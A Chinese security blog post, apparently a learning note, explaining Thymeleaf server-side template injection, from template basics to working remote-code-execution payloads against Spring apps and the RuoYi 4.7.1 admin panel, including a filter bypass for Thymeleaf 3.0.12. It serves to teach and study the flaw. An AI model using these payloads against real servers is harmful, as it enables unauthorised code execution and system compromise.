本文将介绍Thymeleaf中的SSTI,学习的过程中可以类比Python中的SSTI来理解,主要是一些基础的东西,也不涉及什么高深的奇技淫巧。
Thymeleaf是一个现代的Java服务器端模板引擎,基于XML/XHTML/HTML5语法。 该引擎的核心优势之一是自然模板。 这意味着Thymeleaf HTML 模板的外观和工作方式与HTML一样。 这主要是通过在 HTML标记中使用附加属性来实现的。 这是一个官方的例子:
<table>
<thead>
<tr>
<th
th:text="#{msgs.headers.name}">Name</th>
<th th:text="#{msgs.headers.price}">Price</th>
</tr>
</thead>
<tbody>
<tr th:each="prod: ${allProducts}">
<td
th:text="${prod.name}">Oranges</td>
<td
th:text="${#numbers.formatDecimal(prod.price, 1, 2)}">0.99</td>
</tr>
</tbody>
</table>
首先新建一个项目,选择-spring-initializr
添加如下依赖
如果是jdk1.8,springboot最好用2.7.17,整体依赖如下
version="1.0" encoding="UTF-8"?>
<project
xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.17</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>Thymeleaf</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>Thymeleaf</name>
<description>Thymeleaf</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
然后maven reload一下,以下是项目结构
新建个controller,在里面写个java类-DemoController
package
com.example.thymeleaf.cotroller;
import
org.springframework.stereotype.Controller;
import
org.springframework.ui.Model;
import
org.springframework.web.bind.annotation.GetMapping;
@Controller
public
class DemoController {
@GetMapping("index")
public String getIndex(Model model)
{
model.addAttribute("hello","你好吗");
return "index";
}
}
首先@GetMapping定义一个index路由,然后写一个方法getIndex来获取模板内容,model.addAttribute("message","你好吗");定义了一个message参数,值是”你好吗“,然后"return index",index就是模板名字,这里是index.html。
接下来在templates目录下新建一个HTML
html>
<html xmlns:th="http://www.thymeleaf.org"
lang="en">
<head>
<meta
charset="UTF-8">
<title>title</title>
</head>
<body>
hello 第一个Thymeleaf程序
<div th:text="${hello}"></div>
</body>
</html>
<html xmlns:th="http://www.thymeleaf.org"lang="en">设置成这样,就可以使用Thymeleaf的语法和表达式了。
最后配置application.properties
server.port=8080
#关闭Thymeleaf的缓存
spring.thymeleaf.cache=false
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html
运行即可
参考:https://www.cnblogs.com/tarorat/p/17525958.html
关键字 |
功能介绍 |
案例 |
th:id |
替换id |
<input th:id="'xxx' + ${collect.id}"/> |
th:text |
文本替换 |
<p th:text="${collect.description}">description</p> |
th:utext |
支持html的文本替换 |
<p th:utext="${htmlcontent}">conten</p> |
th:object |
替换对象 |
<div th:object="${session.user}"> |
th:value |
属性赋值 |
<input th:value="${user.name}" /> |
th:with |
变量赋值运算 |
<div th:with="isEven=${prodStat.count}%2==0"></div> |
th:style |
设置样式 |
th:style="'display:' + @{(${sitrue} ? 'none' : 'inline-block')} + ''" |
th:onclick |
点击事件 |
th:onclick="'getCollect()'" |
th:each |
属性赋值 |
tr th:each="user,userStat:${users}"> |
th:if |
判断条件 |
<a th:if="${userId == collect.userId}" > |
th:unless |
和th:if判断相反 |
<a th:href="@{/login}" th:unless=${session.user != null}>Login</a> |
th:href |
链接地址 |
<a th:href="@{/login}" th:unless=${session.user != null}>Login</a> /> |
th:switch |
多路选择 配合th:case使用 |
<div th:switch="${user.role}"> |
th:case |
th:switch的一个分支 |
<p th:case="'admin'">User is an administrator</p> |
th:fragment |
布局标签,定义一个代码片段,方便其它地方引用 |
<div th:fragment="alert"> |
th:include |
布局标签,替换内容到引入的文件 |
<head th:include="layout :: htmlhead" th:with="title='xx'"></head> /> |
th:replace |
布局标签,替换整个标签到引入的文件 |
<div th:replace="fragments/header :: title"></div> |
th:selected |
selected选择框 选中 |
th:selected="(${xxx.id} == ${configObj.dd})" |
th:src |
图片类地址引入 |
<img class="img-responsive" alt="App Logo" th:src="@{/img/logo.png}" /> |
th:inline |
定义js脚本可以使用变量 |
<script type="text/javascript" th:inline="javascript"> |
th:action |
表单提交的地址 |
<form action="subscribe.html" th:action="@{/subscribe}"> |
th:remove |
删除某个属性 |
<tr th:remove="all"> 1.all:删除包含标签和所有的孩子。 |
th:attr |
设置标签属性,多个属性可以用逗号分隔 |
比如th:attr="src=@{/image/aa.jpg},title=#{logo}",此标签不太优雅,一般用的比较少。 |
Thymeleaf表达式是一种用于在Thymeleaf模板中插入动态数据的特殊语法。它允许你在模板中引用模型数据、执行条件检查、循环迭代等操作。 要在 Thymeleaf中尝试SSTI,我们首先必须了解Thymeleaf属性中出现的表达式。Thymeleaf表达式可以有以下类型:
-
${...}:变量表达式——即,OGNL或Spring EL 表达式。
-
*{...}:选择表达式——类似于变量表达式,区别在于选择表达式是在当前选择的对象而不是整个上下文变量映射上执行,也即是说只要没有选定对象,这俩用法是一样的。
-
#{...}: Message (i18n)表达式——允许从外部源(比如.properties文件)检索特定于语言环境的message(个人觉得就是用来读配置文件的)。
-
@{...}:链接(URL)表达式-可以是static目录下的静态资源,也可以是互联网中的资源。
-
~{...}:片段表达式——简单来说,就是重复使用某个片段,如赋值,或者作为参数传递给其他模板。
导致Thymeleaf SSTI,主要是因为片段表达式,所以我们先学习下这个片段表达式
-
片段表达式用于定义和引用模板中的一部分,通常是HTML元素或标签。
-
你可以将一部分模板(例如页头、页脚、导航栏等)定义为一个片段,然后在其他模板中引用它,以减少模板代码的冗余。
接下来欣赏一个GPT给的例子
-
首先,创建一个片段模板文件,通常将其存储在专门的目录下(例如src/main/resources/templates/fragments/)。片段模板可以包含HTML元素、Thymeleaf表达式和动态数据的插入。
-
片段模板的内容应该是特定的HTML部分,例如页头、导航栏、页脚等。
示例header.html片段模板:
<nav>
<ul>
<li><a href="/">Home</a></li>
<li><a href="/about">About</a></li>
<li><a href="/contact">Contact</a></li>
</ul>
</nav>
<h1
th:text="#{app.title}">Website Title</h1>
经过以上步骤,就可以在其他模板中引用片段,语法为<div th:replace="fragments/header ::"></div>,表示在其他模板中,引用了header.html中的某个fragment
NOTE:fragments/header是片段模板的路径,header是片段标识符
例如,现在引用header.html中的nav部分:<div th:replace="fragments/header :: nav"></div>
也就是引用了如下部分:
<nav>
<ul>
<li><a href="/">Home</a></li>
<li><a href="/about">About</a></li>
<li><a href="/contact">Contact</a></li>
</ul>
</nav>
也可以在其他模板中,引用整个header.html模板
<div th:replace="fragments/header ::"></div>
还有种用法是,~{::selector}或~{this::selector},引用来自同一模版文件名为selector的fragmnt
在这里,selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等。
预处理:__${expression}__
除了所有这些用于表达式处理的功能外,Thymeleaf还具有预处理表达式的功能。
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如__${expression}__)包围。
这两个点便是SSTI的关键点,片段表达式为我们提供了一种找到SSTI的方法,比如说,当所有参数都是静态时,是没办法利用的,但是如果我们输入一些奇奇怪怪的字符让路径报错,那么就会调用到error.html或者404.html,假如这里有可控参数,再配合上预处理,预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行
再看一个官方给的预处理例子
#{selection.__${sel.code}__}
Thymeleaf首先处理${sel.code}。然后,它将结果(在此示例中为ALL)作为消息表达式的一部分,即为:(#{selection.ALL})。
2. SSTI
平时代码审计或者打ctf的时候,主要关注就是Controller,字面意思很好理解,关注Controller中的:
-
URL路径是否可控
-
return参数是否可控
举个栗子
-
URL路径可控
public
class HelloController {
public
String hello( String name,
String sex){
return "Hello" + name + sex;
}
}
-
return内容可控
"/admin") (
public String path( String language)
{
return "language/" + language + "/admin";
}
偷个懒,这里选择一个开源项目来简单演示https://github.com/veracode-research/spring-view-manipulation/
正常访问的话会提示找不到模板。
SSTI的典型测试表达式是${7*7}.这种表达方式也适用于Thymeleaf。 如果要实现远程代码执行,可以使用以下测试表达式之一:
-
SpringEL:${T(java.lang.Runtime).getRuntime().exec('calc')}
-
OGNL:${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
我们直接打payload看看效果:
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
这里一定要urlencode all characters,否则会报错(还没搞明白为什么,大致是因为使用的tomcat吧,看别人用jetty就没问题)
通过这个执行效果,大致就能理解payload的执行过程了,首先判断是否是__xxxx__这种类型,然后经过一系列预处理,执行里面的语句,最后将执行结果放到Thymeleaf模板中。在这个过程中,涉及了片段表达式,如果有::,那么就会用到片段表达式。
调试过程参考该链接:https://www.freebuf.com/articles/web/339962.html
在我实际测试过程中,payload最后的.x不需要也是可以的,因为只要 因为 payload中包含了::
就会将templateName和Selector作为表达式执行
public
String fragment() {
return "welcome :: main";
}
这里welcome就是模板名即welcome.html,Selector就是main,即一个main片段
<div
th:fragment="main">
<span th:text="'Hello,
' + ${message}"></span>
</div>
在这个payload中
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
模板名是一个预处理
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__,所以不管后面的selector是什么额,都会先执行预处理,只是有时候不会输出结果罢辽,但是是会先执行预处理语句的
到这里,基础知识就结束了,下面来一个实际的例子
https://github.com/yangzongzhuan/RuoYi-fast/releases
下载4.7.1版本,放到idea
先看看pom依赖,发现有thymeleaf,接下来就找利用点
在基础部分说到,利用点一般有两个,大部分是出现在URL中或者可控的return,我们直接在templates中找,在D:RuoYi-4.7.1ruoyi-adminsrcmainresourcesehcacheehcache-shiro.xml中发现cache fragment,全局搜一下
可以看到,在src/main/java/com/ruoyi/web/controller/monitor/CacheController.java,进去看看代码
这几个点都是可控的,那就好办了,这里既有return内容可控,又有URL内容可控
return内容可控:
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x
URL路径可控:
__${T(java.lang.Runtime).getRuntime().exec("touch
test")}__::.x
接下来就是将程序打包,bin目录下有打包的bat脚本
打包后使用java -jar 运行即可
下图是启动成功
再看一遍路由
随便抓个包,然后再构造数据包
POST:
/monitor/cache/getKeys
cacheName=&fragment=fragment-cache-kyes
这里的注入点在selector,用刚才的payload
不管怎么打都不行,这是因为在这个版本的若依,用的是Thymeleaf 3.0.12,在issues里面可以看到
就是这些表达式都被限制了。既然不能预处理,那就用${...}或者${{...}}只需要
${T++++(java.lang.Runtime).getRuntime().exec("calc.exe")} #+为空格
这是因为在这个版本中 有很多限制
-
表达式中不能含有关键字new
-
在(的左边的字符不能是T
-
T和(中间的字符,不能影响表达式的执行效果
所以${T++++(java.lang.Runtime).getRuntime().exec("calc.exe")}仍然是可以使用的。
三梦大佬:https://github.com/thymeleaf/thymeleaf-spring/issues/256
网鼎杯玄武组:https://xz.aliyun.com/t/11688
Thymeleaf:https://github.com/thymeleaf/thymeleaf/issues/809
Thymeleaf教程:https://waylau.gitbooks.io/thymeleaf-tutorial/content/docs/inlining.html
其实很早就写了一点关于Thymeleaf的学习笔记,最早认识它是在2022网鼎杯玄武组-you can find it,正好那学期开了Java课程,所以学起来比较轻松,过了这么久Java已经忘得差不多了,其实遇到最多的问题还是环境,代码调试问题。。。这篇文章其实更像自己的学习笔记,潦草,口水话偏多。如有错误之处欢迎各位大哥指正,文中未表述清楚的地方,请大家多多包涵。
监制:船长、铁子 策划:格纸 文案:Ga1axy 美工:青柠
原文始发于微信公众号(千寻安服):千寻笔记:Thymeleaf-SSTI
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论